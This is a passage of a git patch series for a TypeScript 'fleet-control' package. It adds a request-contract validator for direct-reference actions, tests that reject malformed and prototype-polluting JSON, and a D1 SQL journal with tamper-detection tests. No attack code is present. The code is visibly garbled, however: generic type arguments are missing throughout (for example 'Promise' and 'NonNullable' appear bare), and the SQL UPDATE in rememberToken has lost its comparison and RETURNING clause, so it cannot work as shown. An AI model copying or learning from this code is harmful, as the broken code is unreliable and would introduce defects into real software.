keys(value, ['kind', 'role', 'release']); + member(value.role, ['a', 'b', 'recovery']); + member(value.release, ['initial', 'failed-recovery']); + if (value.release === 'failed-recovery' && value.role !== 'recovery') + invalid(); + break; + case 'inventory-start': + case 'inventory-read': + case 'inventory-continue': + keys( + value, + ['kind', 'slot'], + kind === 'inventory-continue' ? ['token'] : [], + ); + member(value.slot, ['inventory-before', 'inventory-after']); + break; + case 'audit-start': + case 'audit-abandon': + case 'audit-continue': + keys(value, ['kind', 'slot'], kind === 'audit-continue' ? ['token'] : []); + member(value.slot, ['audit-before', 'audit-after']); + break; + case 'audit-page': + keys(value, ['kind', 'slot', 'limit'], ['afterOrdinal']); + member(value.slot, ['audit-before', 'audit-after']); + page(value); + break; + case 'migration-page': + keys(value, ['kind', 'limit'], ['afterOrdinal']); + page(value); + break; + case 'migration-continue': + keys(value, ['kind'], ['token']); + break; + case 'cleanup-start': + case 'cleanup-receipt': + case 'decommission-start': + keys(value, ['kind', 'role']); + member(value.role, ['a', 'b', 'recovery']); + break; + case 'cleanup-continue': + case 'decommission-continue': + keys(value, ['kind', 'role'], ['token']); + member(value.role, ['a', 'b', 'recovery']); + break; + case 'cleanup-restart-blocked': + case 'decommission-restart-blocked': + keys(value, ['kind', 'role', 'token']); + member(value.role, ['a', 'b', 'recovery']); + break; + default: + invalid(); + } + return Object.freeze(value); +} + +export async function readDirectReferenceRequest( + request, + expectedConfigSha256, +) { + let body; + try { + body = await readBoundedBody(request, DIRECT_REFERENCE_BODY_LIMIT); + } catch { + invalid(); + } + if (!body.ok) throw new DirectReferenceRequestError(body.reason); + let value; + try { + value = JSON.parse(body.text); + } catch { + invalid(); + } + keys(value, ['contractVersion', 'configSha256', 'action']); + if ( + value.contractVersion !== 1 || + typeof value.configSha256 !== 'string' || + !/^[a-f0-9]{64}$/u.test(value.configSha256) + ) + invalid(); + if (value.configSha256 !== expectedConfigSha256) + throw new DirectReferenceRequestError('run-binding-mismatch'); + return Object.freeze({ + contractVersion: 1, + configSha256: value.configSha256, + action: actionFromParsed(value.action), + }); +} diff --git a/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts index 05a89e01..5104ccba 100644 --- a/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts @@ -8,6 +8,7 @@ import { deriveDirectConformanceNames, validateDirectConformanceConfig, } from '../scripts/direct-credentialed-conformance-config.mjs'; +import { reserveApplicationR2Resources } from '../src/application-bindings.js'; import { isDeploymentScriptName } from '../src/deployment-context.js'; import { validateDeploymentSpec } from '../src/validation.js'; import { buildPlainWorkerSpec } from './fixtures/plain-worker-harnesses.js'; @@ -106,7 +107,7 @@ describe('direct conformance configuration', () => { expect(Object.isFrozen(values)).toBe(true); expect(isDeploymentScriptName(values.scriptName)).toBe(true); expect(values.routeHostname).toBe( - `${config.resourcePrefix}-${role}.${config.ownedHostname}`, + `${config.resourcePrefix}-tenant-${role}.${config.ownedHostname}`, ); expect(() => validateDeploymentSpec( @@ -117,7 +118,29 @@ describe('direct conformance configuration', () => { ), ).not.toThrow(); scripts.add(values.scriptName); + const resources = reserveApplicationR2Resources( + buildPlainWorkerSpec({ + ...values, + environment: config.environment, + application: { + vars: [], + secrets: [], + r2Buckets: [{ name: 'PROBE_BUCKET' }], + }, + }), + ); + expect( + resources[0]?.bucketName.startsWith(`${config.resourcePrefix}-tenant-`), + ).toBe(true); + expect(resources[0]?.bucketName.length).toBeLessThanOrEqual(63); } + for (const name of [ + names.referenceWorker, + names.fleetDatabase, + names.quotaDatabase, + names.exportBucket, + ]) + expect(name.startsWith(`${config.resourcePrefix}-tenant-`)).toBe(false); expect(scripts.size).toBe(3); expect(Object.isFrozen(names.roles)).toBe(true); }); diff --git a/packages/fleet-control/test/direct-reference-contract.test.ts b/packages/fleet-control/test/direct-reference-contract.test.ts new file mode 100644 index 00000000..996c7481 --- /dev/null +++ b/packages/fleet-control/test/direct-reference-contract.test.ts @@ -0,0 +1,218 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { + DIRECT_REFERENCE_BODY_LIMIT, + DIRECT_REFERENCE_PATH, + type DirectReferenceAction, + DirectReferenceRequestError, + readDirectReferenceRequest, +} from '../scripts/direct-reference-contract.mjs'; + +const CONFIG = 'a'.repeat(64); +const actions: readonly DirectReferenceAction[] = [ + { kind: 'control-read' }, + { kind: 'provision', role: 'a', release: 'initial' }, + { kind: 'provision', role: 'b', release: 'initial' }, + { kind: 'provision', role: 'recovery', release: 'failed-recovery' }, + { kind: 'inventory-start', slot: 'inventory-before' }, + { kind: 'inventory-continue', slot: 'inventory-before' }, + { kind: 'inventory-read', slot: 'inventory-after' }, + { kind: 'audit-start', slot: 'audit-before' }, + { kind: 'audit-continue', slot: 'audit-after', token: null }, + { kind: 'audit-page', slot: 'audit-before', limit: 1 }, + { kind: 'audit-abandon', slot: 'audit-after' }, + { kind: 'migration-start' }, + { kind: 'migration-continue' }, + { + kind: 'migration-page', + limit: 1_000, + afterOrdinal: Number.MAX_SAFE_INTEGER - 1, + }, + { kind: 'migration-abandon' }, + { kind: 'cleanup-start', role: 'recovery' }, + { + kind: 'cleanup-continue', + role: 'a', + token: { operationId: 'unvalidated-claim', revision: 1 }, + }, + { kind: 'cleanup-restart-blocked', role: 'b', token: false }, + { kind: 'cleanup-receipt', role: 'recovery' }, + { kind: 'decommission-start', role: 'a' }, + { kind: 'decommission-continue', role: 'b' }, + { kind: 'decommission-restart-blocked', role: 'recovery', token: [] }, + { kind: 'force-recovery' }, + { kind: 'force-observe' }, +]; + +function request(body: NonNullable) { + return new Request(`https://reference.example.test${DIRECT_REFERENCE_PATH}`, { + method: 'POST', + body, + }); +} + +function envelope(action: unknown) { + return { contractVersion: 1, configSha256: CONFIG, action }; +} + +async function read(action: unknown) { + return readDirectReferenceRequest( + request(JSON.stringify(envelope(action))), + CONFIG, + ); +} + +describe('direct reference request contract', () => { + it.each(actions)('reads fixed action $kind', async (action) => { + const result = await read(action); + expect(result).toEqual(envelope(action)); + expect(Object.isFrozen(result)).toBe(true); + expect(Object.isFrozen(result.action)).toBe(true); + }); + + it.each( + actions, + )('rejects extra fields for $kind without echoing supplied data', async (action) => { + await expect( + read({ ...action, providerUrl: 'secret-sentinel' }), + ).rejects.toMatchObject({ + code: 'invalid-request', + message: 'invalid-request', + }); + }); + + it('preserves an omitted token separately from an explicit malformed claim', async () => { + const base = { kind: 'migration-continue' }; + expect(Object.hasOwn((await read(base)).action, 'token')).toBe(false); + for (const token of [ + null, + false, + 0, + '', + [], + { operationId: 'foreign', version: 99 }, + ]) { + const result = await read({ ...base, token }); + expect(Object.hasOwn(result.action, 'token')).toBe(true); + expect(Reflect.get(result.action, 'token')).toEqual(token); + } + await expect( + read({ kind: 'cleanup-restart-blocked', role: 'a' }), + ).rejects.toMatchObject({ code: 'invalid-request' }); + }); + + it.each([ + {}, + null, + [], + { kind: 'toString' }, + { kind: 'constructor' }, + { kind: 'provision', role: 'a', release: 'failed-recovery' }, + { kind: 'provision', role: 'other', release: 'initial' }, + { kind: 'provision', role: 'a', release: 'next' }, + { kind: 'inventory-start', slot: 'audit-before' }, + { kind: 'audit-continue', slot: 'inventory-before' }, + { kind: 'migration-start', slot: 'migration-next' }, + { kind: 'cleanup-start', role: 'other' }, + { kind: 'decommission-continue' }, + { kind: 'force-recovery', role: 'a' }, + ])('refuses an invalid action %j', async (action) => { + await expect(read(action)).rejects.toBeInstanceOf( + DirectReferenceRequestError, + ); + }); + + it.each([ + 0, + -1, + 1.5, + null, + '1', + 1001, + ])('rejects invalid page limit %j', async (limit) => { + await expect( + read({ kind: 'audit-page', slot: 'audit-before', limit }), + ).rejects.toMatchObject({ code: 'invalid-request' }); + await expect(read({ kind: 'migration-page', limit })).rejects.toMatchObject( + { code: 'invalid-request' }, + ); + }); + + it.each([ + -1, + 1.5, + null, + '0', + Number.MAX_SAFE_INTEGER, + ])('rejects invalid page cursor %j', async (afterOrdinal) => { + await expect( + read({ kind: 'migration-page', limit: 1, afterOrdinal }), + ).rejects.toMatchObject({ code: 'invalid-request' }); + }); + + it('refuses wrong root keys, version and run binding', async () => { + const valid = envelope({ kind: 'control-read' }); + for (const body of [ + { ...valid, extra: 'secret-sentinel' }, + { ...valid, contractVersion: 2 }, + { ...valid, configSha256: 'bad' }, + { action: valid.action }, + ]) + await expect( + readDirectReferenceRequest(request(JSON.stringify(body)), CONFIG), + ).rejects.toMatchObject({ code: 'invalid-request' }); + await expect( + readDirectReferenceRequest( + request(JSON.stringify(valid)), + 'b'.repeat(64), + ), + ).rejects.toMatchObject({ code: 'run-binding-mismatch' }); + const proto = JSON.parse( + '{"kind":"control-read","__proto__":{"secret":"sentinel"}}', + ); + await expect(read(proto)).rejects.toMatchObject({ + code: 'invalid-request', + }); + }); + + it('accepts the body-byte boundary and refuses one extra byte', async () => { + const json = JSON.stringify(envelope({ kind: 'control-read' })); + const body = + json + ' '.repeat(DIRECT_REFERENCE_BODY_LIMIT - Buffer.byteLength(json)); + await expect( + readDirectReferenceRequest(request(body), CONFIG), + ).resolves.toEqual(envelope({ kind: 'control-read' })); + await expect( + readDirectReferenceRequest(request(`${body} `), CONFIG), + ).rejects.toMatchObject({ code: 'payload-too-large' }); + }); + + it('refuses invalid UTF-8, invalid JSON and stream errors with fixed errors', async () => { + await expect( + readDirectReferenceRequest(request(new Uint8Array([0xc3, 0x28])), CONFIG), + ).rejects.toMatchObject({ code: 'invalid-utf8' }); + await expect( + readDirectReferenceRequest(request('{"secret-sentinel"'), CONFIG), + ).rejects.toMatchObject({ + code: 'invalid-request', + message: 'invalid-request', + }); + const body = new ReadableStream({ + pull() { + throw new Error('secret-sentinel'); + }, + }); + const streamed = new Request('https://reference.example.test', { + method: 'POST', + body, + duplex: 'half', + } as RequestInit); + await expect( + readDirectReferenceRequest(streamed, CONFIG), + ).rejects.toMatchObject({ + code: 'invalid-request', + message: 'invalid-request', + }); + }); +}); From 5729f036dfcd7781d4d3f75ae43d7fff360fc0ee Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 22:17:08 +0400 Subject: [PATCH 110/169] test(fleet-control): retain direct reference replay inputs --- .../scripts/direct-reference-journal.ts | 367 ++++++++++++++ .../scripts/tsconfig.direct-worker.json | 6 +- .../direct-reference-journal.harness.test.ts | 466 ++++++++++++++++++ 3 files changed, 838 insertions(+), 1 deletion(-) create mode 100644 packages/fleet-control/scripts/direct-reference-journal.ts create mode 100644 packages/fleet-control/test/direct-reference-journal.harness.test.ts diff --git a/packages/fleet-control/scripts/direct-reference-journal.ts b/packages/fleet-control/scripts/direct-reference-journal.ts new file mode 100644 index 00000000..2eefae2d --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-journal.ts @@ -0,0 +1,367 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { Buffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; +import type { D1Database } from '@cloudflare/workers-types'; +import { D1FleetStateDatabase } from '@proofoftech/fleet-control/cloudflare-control-plane'; +import type { DirectFixtureRole } from './direct-credentialed-spec.js'; +import type { + DirectAuditSlot, + DirectInventorySlot, +} from './direct-reference-contract.mjs'; + +export type DirectOperationSlot = + | DirectInventorySlot + | DirectAuditSlot + | 'migration-next' + | `cleanup-${DirectFixtureRole}` + | `decommission-${DirectFixtureRole}`; +export type DirectOperationKind = + | 'inventory' + | 'audit' + | 'migration' + | 'cleanup' + | 'decommission'; +export type DirectJournalErrorCode = + | 'journal-state' + | 'run-binding-mismatch' + | 'operation-mismatch' + | 'missing-start'; + +export class DirectReferenceJournalError extends Error { + readonly code: DirectJournalErrorCode; + constructor(code: DirectJournalErrorCode = 'journal-state') { + super(code); + this.name = 'DirectReferenceJournalError'; + this.code = code; + } +} + +export interface DirectStartCandidate { + readonly operationId: string | null; + readonly inputJson: string; +} + +export interface DirectStoredOperation extends DirectStartCandidate { + readonly slot: DirectOperationSlot; + readonly kind: DirectOperationKind; + readonly tokenJson: string | null; + readonly tokenRevision: number | null; +} + +const MAX_JSON_BYTES = 256 * 1024; +const schema = [ + `CREATE TABLE IF NOT EXISTS direct_reference_run ( + run_key TEXT PRIMARY KEY, + binding_json TEXT NOT NULL, + binding_sha256 TEXT NOT NULL, + interruption_json TEXT, + interruption_sha256 TEXT, + CHECK ((interruption_json IS NULL) = (interruption_sha256 IS NULL)) + )`, + `CREATE TABLE IF NOT EXISTS direct_reference_operations ( + run_key TEXT NOT NULL REFERENCES direct_reference_run(run_key), + slot TEXT NOT NULL, + operation_kind TEXT NOT NULL, + operation_id TEXT, + start_json TEXT NOT NULL, + start_sha256 TEXT NOT NULL, + token_json TEXT, + token_sha256 TEXT, + token_revision INTEGER, + PRIMARY KEY (run_key, slot), + CHECK ((token_json IS NULL AND token_sha256 IS NULL AND token_revision IS NULL) + OR (token_json IS NOT NULL AND token_sha256 IS NOT NULL AND token_revision IS NOT NULL)) + )`, +]; + +function stateError(): never { + throw new DirectReferenceJournalError(); +} + +function text(value: unknown): string { + if (typeof value !== 'string' || !value || value.length > 128) stateError(); + return value; +} + +function kindFor(slot: string): DirectOperationKind { + if (slot === 'inventory-before' || slot === 'inventory-after') + return 'inventory'; + if (slot === 'audit-before' || slot === 'audit-after') return 'audit'; + if (slot === 'migration-next') return 'migration'; + for (const kind of ['cleanup', 'decommission'] as const) + if (['a', 'b', 'recovery'].some((role) => slot === `${kind}-${role}`)) + return kind; + return stateError(); +} + +function jsonObject(value: unknown): { + text: string; + value: Record; +} { + if (typeof value !== 'string' || Buffer.byteLength(value) > MAX_JSON_BYTES) + stateError(); + let parsed: unknown; + try { + parsed = JSON.parse(value); + } catch { + stateError(); + } + if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) + stateError(); + return { + text: value, + value: parsed as Record, + }; +} + +function boundHash(context: readonly unknown[], value: string): string { + return createHash('sha256') + .update(JSON.stringify([...context, value])) + .digest('hex'); +} + +function storedJson( + value: unknown, + hash: unknown, + context: readonly unknown[], +) { + const parsed = jsonObject(value); + if (boundHash(context, parsed.text) !== hash) stateError(); + return parsed; +} + +function tokenFields(token: Record) { + const operationId = text(token.operationId); + const revision = token.revision; + if ( + typeof revision !== 'number' || + !Number.isSafeInteger(revision) || + revision < 0 + ) + stateError(); + return { operationId, revision }; +} + +export class DirectReferenceJournal { + readonly #database: D1FleetStateDatabase; + readonly #runKey: string; + readonly #binding: ReturnType; + readonly #bindingHash: string; + #ready?: Promise; + + constructor(database: D1Database, runKey: string, bindingJson: string) { + this.#database = new D1FleetStateDatabase(database); + this.#runKey = text(runKey); + this.#binding = jsonObject(bindingJson); + this.#bindingHash = boundHash( + ['binding', this.#runKey], + this.#binding.text, + ); + } + + async #initialize(): Promise { + await this.#database.batch(schema.map((sql) => ({ sql }))); + await this.#database.execute( + 'INSERT INTO direct_reference_run (run_key,binding_json,binding_sha256) VALUES (?,?,?) ON CONFLICT DO NOTHING', + [this.#runKey, this.#binding.text, this.#bindingHash], + ); + const rows = await this.#database.query( + 'SELECT * FROM direct_reference_run WHERE run_key=?', + [this.#runKey], + ); + const row = rows[0]; + if (rows.length !== 1 || !row) stateError(); + storedJson(row.binding_json, row.binding_sha256, ['binding', this.#runKey]); + if ( + row.binding_json !== this.#binding.text || + row.binding_sha256 !== this.#bindingHash + ) + throw new DirectReferenceJournalError('run-binding-mismatch'); + } + + async #withState(operation: () => Promise): Promise { + try { + this.#ready ??= this.#initialize().catch((error) => { + this.#ready = undefined; + throw error; + }); + await this.#ready; + return await operation(); + } catch (error) { + if (error instanceof DirectReferenceJournalError) throw error; + return stateError(); + } + } + + async #operation( + slot: DirectOperationSlot, + ): Promise { + const kind = kindFor(slot); + const rows = await this.#database.query( + 'SELECT * FROM direct_reference_operations WHERE run_key=? AND slot=?', + [this.#runKey, slot], + ); + if (rows.length > 1) stateError(); + const row = rows[0]; + if (!row) return undefined; + if (row.operation_kind !== kind) stateError(); + const operationId = + row.operation_id === null ? null : text(row.operation_id); + const assignedByFleet = kind === 'cleanup' || kind === 'decommission'; + if (operationId === null && !assignedByFleet) stateError(); + if (assignedByFleet && operationId !== null && row.token_json === null) + stateError(); + const start = storedJson(row.start_json, row.start_sha256, [ + 'start', + this.#runKey, + slot, + kind, + assignedByFleet ? null : operationId, + ]); + let tokenJson: string | null = null; + let tokenRevision: number | null = null; + if (row.token_json !== null) { + const token = storedJson(row.token_json, row.token_sha256, [ + 'token', + this.#runKey, + slot, + ]); + const fields = tokenFields(token.value); + if ( + fields.operationId !== operationId || + fields.revision !== row.token_revision + ) + stateError(); + tokenJson = token.text; + tokenRevision = fields.revision; + } else if (row.token_sha256 !== null || row.token_revision !== null) + stateError(); + return Object.freeze({ + slot, + kind, + operationId, + inputJson: start.text, + tokenJson, + tokenRevision, + }); + } + + readOperation( + slot: DirectOperationSlot, + ): Promise { + return this.#withState(() => this.#operation(slot)); + } + + freezeStart( + slot: DirectOperationSlot, + create: () => Promise, + ): Promise { + return this.#withState(async () => { + const prior = await this.#operation(slot); + if (prior) return prior; + const candidate = await create(); + const kind = kindFor(slot); + const operationId = + candidate.operationId === null ? null : text(candidate.operationId); + const assignedByFleet = kind === 'cleanup' || kind === 'decommission'; + if ((operationId === null) !== assignedByFleet) stateError(); + const input = jsonObject(candidate.inputJson); + await this.#database.execute( + 'INSERT INTO direct_reference_operations (run_key,slot,operation_kind,operation_id,start_json,start_sha256) VALUES (?,?,?,?,?,?) ON CONFLICT DO NOTHING', + [ + this.#runKey, + slot, + kind, + operationId, + input.text, + boundHash( + ['start', this.#runKey, slot, kind, operationId], + input.text, + ), + ], + ); + const winner = await this.#operation(slot); + if (!winner) stateError(); + return winner; + }); + } + + rememberToken(slot: DirectOperationSlot, tokenJson: string): Promise { + return this.#withState(async () => { + const before = await this.#operation(slot); + if (!before) throw new DirectReferenceJournalError('missing-start'); + const token = jsonObject(tokenJson); + const { operationId, revision } = tokenFields(token.value); + const updated = await this.#database.query( + `UPDATE direct_reference_operations + SET operation_id=COALESCE(operation_id,?),token_json=?,token_sha256=?,token_revision=? + WHERE run_key=? AND slot=? AND (operation_id IS NULL OR operation_id=?) + AND (token_revision IS NULL OR token_revision 1) stateError(); + const after = await this.#operation(slot); + if (!after) stateError(); + if (after.operationId !== operationId) + throw new DirectReferenceJournalError('operation-mismatch'); + if (after.tokenRevision === null || after.tokenRevision < revision) + stateError(); + if ( + updated.length === 1 && + after.tokenRevision === revision && + after.tokenJson !== token.text + ) + stateError(); + }); + } + + recordInterruption(witnessJson: string): Promise { + return this.#withState(async () => { + const witness = jsonObject(witnessJson); + const rows = await this.#database.query( + 'UPDATE direct_reference_run SET interruption_json=?,interruption_sha256=? WHERE run_key=? AND interruption_json IS NULL RETURNING run_key', + [ + witness.text, + boundHash(['interruption', this.#runKey], witness.text), + this.#runKey, + ], + ); + if (rows.length > 1) stateError(); + const recorded = await this.#interruption(); + if (recorded === null || (rows.length === 1 && recorded !== witness.text)) + stateError(); + return rows.length === 1; + }); + } + + async #interruption(): Promise { + const rows = await this.#database.query( + 'SELECT interruption_json,interruption_sha256 FROM direct_reference_run WHERE run_key=?', + [this.#runKey], + ); + const row = rows[0]; + if (rows.length !== 1 || !row) stateError(); + if (row.interruption_json === null) { + if (row.interruption_sha256 !== null) stateError(); + return null; + } + return storedJson(row.interruption_json, row.interruption_sha256, [ + 'interruption', + this.#runKey, + ]).text; + } + + readInterruption(): Promise { + return this.#withState(() => this.#interruption()); + } +} diff --git a/packages/fleet-control/scripts/tsconfig.direct-worker.json b/packages/fleet-control/scripts/tsconfig.direct-worker.json index ed4379cc..89031b82 100644 --- a/packages/fleet-control/scripts/tsconfig.direct-worker.json +++ b/packages/fleet-control/scripts/tsconfig.direct-worker.json @@ -5,6 +5,10 @@ "types": ["@cloudflare/workers-types", "node"], "customConditions": ["workerd", "worker", "browser"] }, - "files": ["direct-credentialed-tenant.ts", "direct-credentialed-spec.ts"], + "files": [ + "direct-credentialed-tenant.ts", + "direct-credentialed-spec.ts", + "direct-reference-journal.ts" + ], "include": [] } diff --git a/packages/fleet-control/test/direct-reference-journal.harness.test.ts b/packages/fleet-control/test/direct-reference-journal.harness.test.ts new file mode 100644 index 00000000..4e384be5 --- /dev/null +++ b/packages/fleet-control/test/direct-reference-journal.harness.test.ts @@ -0,0 +1,466 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash, randomUUID } from 'node:crypto'; +import { mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import type { D1Database } from '@cloudflare/workers-types'; +import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'; +import { createTestHarness, type TestHarness } from 'wrangler'; +import { + DirectReferenceJournal, + DirectReferenceJournalError, +} from '../scripts/direct-reference-journal.js'; + +const binding = JSON.stringify({ + configSha256: 'a'.repeat(64), + accountId: 'fixture-account', +}); +const token = (operationId: string, revision: number) => + JSON.stringify({ version: 1, operationId, revision }); + +describe.sequential('direct reference journal in native D1', { + timeout: 30_000, +}, () => { + let directory: string; + let server: TestHarness; + let db: D1Database; + + beforeAll(async () => { + directory = await mkdtemp(join(tmpdir(), 'direct-journal-')); + const main = join(directory, 'worker.ts'); + await writeFile( + main, + `import {DirectReferenceJournal} from ${JSON.stringify(fileURLToPath(new URL('../scripts/direct-reference-journal.ts', import.meta.url)))}; + export default {async fetch(request, env) { + const runKey = new URL(request.url).searchParams.get('run'); + const journal = new DirectReferenceJournal(env.DB, runKey, ${JSON.stringify(binding)}); + if (request.method === 'POST') { + const start = await journal.freezeStart('inventory-before', async () => ({operationId: crypto.randomUUID(), inputJson: '{"fixture":true}'})); + await journal.rememberToken('inventory-before', JSON.stringify({version:1, operationId:start.operationId, revision:2})); + await journal.recordInterruption('{"fixture":"workerd"}'); + } + return Response.json({operation: await journal.readOperation('inventory-before'), witness: await journal.readInterruption()}); + }};`, + ); + server = createTestHarness({ + root: directory, + workers: [ + { + config: { + name: 'direct-journal-harness', + main, + compatibility_date: '2026-08-06', + compatibility_flags: ['nodejs_compat'], + d1_databases: [ + { + binding: 'DB', + database_name: 'direct-journal-harness', + database_id: '00000000-0000-0000-0000-000000000000', + }, + ], + }, + }, + ], + }); + await server.listen(); + db = (await server.getWorker<{ DB: D1Database }>().getEnv()).DB; + }, 30_000); + + afterAll(async () => { + try { + await server?.close(); + } finally { + if (directory) await rm(directory, { recursive: true, force: true }); + } + }, 30_000); + + function fixture() { + const runKey = randomUUID(); + return { runKey, journal: new DirectReferenceJournal(db, runKey, binding) }; + } + + it('executes the journal inside workerd and reloads its records', async () => { + const { runKey, journal } = fixture(); + const url = `https://journal.test/?run=${runKey}`; + const created = await server.getWorker().fetch(url, { method: 'POST' }); + expect(created.status).toBe(200); + const result = await created.json(); + expect(result).toMatchObject({ + operation: { + slot: 'inventory-before', + inputJson: '{"fixture":true}', + tokenRevision: 2, + }, + witness: '{"fixture":"workerd"}', + }); + const read = await server.getWorker().fetch(url); + expect(read.status).toBe(200); + expect(await read.json()).toEqual(result); + expect(await journal.readOperation('inventory-before')).toEqual( + (result as { operation: unknown }).operation, + ); + }); + + it.each([ + 'cleanup-a', + 'decommission-a', + ] as const)('adopts %s identity only from a Fleet token', async (slot) => { + const { runKey, journal } = fixture(); + await expect( + journal.freezeStart(slot, async () => ({ + operationId: randomUUID(), + inputJson: '{}', + })), + ).rejects.toMatchObject({ code: 'journal-state' }); + expect(await journal.readOperation(slot)).toBeUndefined(); + await journal.freezeStart(slot, async () => ({ + operationId: null, + inputJson: '{}', + })); + await db + .prepare( + 'UPDATE direct_reference_operations SET operation_id=? WHERE run_key=?', + ) + .bind(randomUUID(), runKey) + .run(); + await expect(journal.readOperation(slot)).rejects.toMatchObject({ + code: 'journal-state', + }); + }); + + it.each([ + 'operation-id', + 'slot-copy', + ] as const)('detects frozen-start metadata corruption: %s', async (kind) => { + const { runKey, journal } = fixture(); + await journal.freezeStart('inventory-before', async () => ({ + operationId: randomUUID(), + inputJson: '{}', + })); + if (kind === 'operation-id') + await db + .prepare( + 'UPDATE direct_reference_operations SET operation_id=? WHERE run_key=?', + ) + .bind(randomUUID(), runKey) + .run(); + else + await db + .prepare( + 'INSERT INTO direct_reference_operations (run_key,slot,operation_kind,operation_id,start_json,start_sha256) SELECT run_key,?,operation_kind,operation_id,start_json,start_sha256 FROM direct_reference_operations WHERE run_key=?', + ) + .bind('inventory-after', runKey) + .run(); + await expect( + new DirectReferenceJournal(db, runKey, binding).readOperation( + kind === 'operation-id' ? 'inventory-before' : 'inventory-after', + ), + ).rejects.toMatchObject({ code: 'journal-state' }); + }); + + it('rejects token records copied into another identity', async () => { + const { runKey, journal } = fixture(); + await journal.freezeStart('cleanup-a', async () => ({ + operationId: null, + inputJson: '{}', + })); + await journal.freezeStart('cleanup-b', async () => ({ + operationId: null, + inputJson: '{}', + })); + await journal.rememberToken('cleanup-a', token(randomUUID(), 1)); + await db + .prepare(`UPDATE direct_reference_operations SET (operation_id,token_json,token_sha256,token_revision) = + (SELECT operation_id,token_json,token_sha256,token_revision FROM direct_reference_operations WHERE run_key=? AND slot='cleanup-a') + WHERE run_key=? AND slot='cleanup-b'`) + .bind(runKey, runKey) + .run(); + await expect(journal.readOperation('cleanup-b')).rejects.toMatchObject({ + code: 'journal-state', + }); + }); + + it('rejects interruption records copied into another identity', async () => { + const { runKey, journal } = fixture(); + const other = fixture(); + await journal.recordInterruption('{}'); + await other.journal.readInterruption(); + await db + .prepare(`UPDATE direct_reference_run SET (interruption_json,interruption_sha256) = + (SELECT interruption_json,interruption_sha256 FROM direct_reference_run WHERE run_key=?) WHERE run_key=?`) + .bind(runKey, other.runKey) + .run(); + await expect(other.journal.readInterruption()).rejects.toMatchObject({ + code: 'journal-state', + }); + }); + + it('serializes concurrent initial starts and replays without producing new input', async () => { + const { runKey, journal } = fixture(); + const other = new DirectReferenceJournal(db, runKey, binding); + const first = { + operationId: randomUUID(), + inputJson: JSON.stringify({ records: ['first'] }), + }; + const second = { + operationId: randomUUID(), + inputJson: JSON.stringify({ records: ['second'] }), + }; + const results = await Promise.all([ + journal.freezeStart('inventory-before', async () => first), + other.freezeStart('inventory-before', async () => second), + ]); + expect(results[0]).toEqual(results[1]); + expect([first.inputJson, second.inputJson]).toContain( + results[0]?.inputJson, + ); + const changed = vi.fn(async () => ({ + operationId: randomUUID(), + inputJson: '{"records":["changed"]}', + })); + const reloaded = new DirectReferenceJournal(db, runKey, binding); + expect(await reloaded.freezeStart('inventory-before', changed)).toEqual( + results[0], + ); + expect(changed).not.toHaveBeenCalled(); + expect(Object.isFrozen(results[0])).toBe(true); + }); + + it('refuses a changed run binding without replacing the original', async () => { + const { runKey, journal } = fixture(); + await journal.readOperation('audit-before'); + const other = new DirectReferenceJournal( + db, + runKey, + '{"accountId":"other"}', + ); + await expect(other.readOperation('audit-before')).rejects.toMatchObject({ + code: 'run-binding-mismatch', + }); + expect( + await db + .prepare( + 'SELECT binding_json FROM direct_reference_run WHERE run_key=?', + ) + .bind(runKey) + .first('binding_json'), + ).toBe(binding); + }); + + it('keeps the highest same-operation token despite delayed and terminal-like older echoes', async () => { + const { runKey, journal } = fixture(); + const operationId = randomUUID(); + await journal.freezeStart('cleanup-recovery', async () => ({ + operationId: null, + inputJson: '{"release":"failed-recovery"}', + })); + await Promise.all([ + journal.rememberToken('cleanup-recovery', token(operationId, 4)), + new DirectReferenceJournal(db, runKey, binding).rememberToken( + 'cleanup-recovery', + token(operationId, 2), + ), + ]); + await journal.rememberToken('cleanup-recovery', token(operationId, 1)); + await journal.rememberToken('cleanup-recovery', token(operationId, 4)); + const record = await journal.readOperation('cleanup-recovery'); + expect(record).toMatchObject({ + operationId, + tokenRevision: 4, + tokenJson: token(operationId, 4), + }); + expect(record).not.toHaveProperty('complete'); + await expect( + journal.rememberToken('cleanup-recovery', token(randomUUID(), 5)), + ).rejects.toMatchObject({ code: 'operation-mismatch' }); + expect(await journal.readOperation('cleanup-recovery')).toEqual(record); + }); + + it('requires a start row and rejects invalid hint metadata', async () => { + const { journal } = fixture(); + const operationId = randomUUID(); + await expect( + journal.rememberToken('migration-next', token(operationId, 1)), + ).rejects.toMatchObject({ code: 'missing-start' }); + await journal.freezeStart('migration-next', async () => ({ + operationId, + inputJson: '{"records":[]}', + })); + for (const invalid of [ + 'null', + '[]', + JSON.stringify({ operationId, revision: -1 }), + JSON.stringify({ operationId, revision: 1.5 }), + JSON.stringify({ revision: 1 }), + ]) + await expect( + journal.rememberToken('migration-next', invalid), + ).rejects.toBeInstanceOf(DirectReferenceJournalError); + expect( + (await journal.readOperation('migration-next'))?.tokenJson, + ).toBeNull(); + }); + + it('records one interruption witness across concurrent instances and reload', async () => { + const { runKey, journal } = fixture(); + const witnesses = [ + '{"revision":2,"claim":"first"}', + '{"revision":3,"claim":"second"}', + ]; + const outcomes = await Promise.all( + witnesses.map((witness) => + new DirectReferenceJournal(db, runKey, binding).recordInterruption( + witness, + ), + ), + ); + expect(outcomes.filter(Boolean)).toHaveLength(1); + expect(await journal.readInterruption()).toBe( + witnesses[outcomes.indexOf(true)], + ); + expect(await journal.recordInterruption('{"revision":4}')).toBe(false); + expect( + await new DirectReferenceJournal(db, runKey, binding).readInterruption(), + ).toBe(witnesses[outcomes.indexOf(true)]); + }); + + it.each([ + 'json', + 'hash', + 'kind', + 'token-pair', + ] as const)('refuses corrupted stored %s data', async (kind) => { + const { runKey, journal } = fixture(); + const operationId = randomUUID(); + await journal.freezeStart('audit-before', async () => ({ + 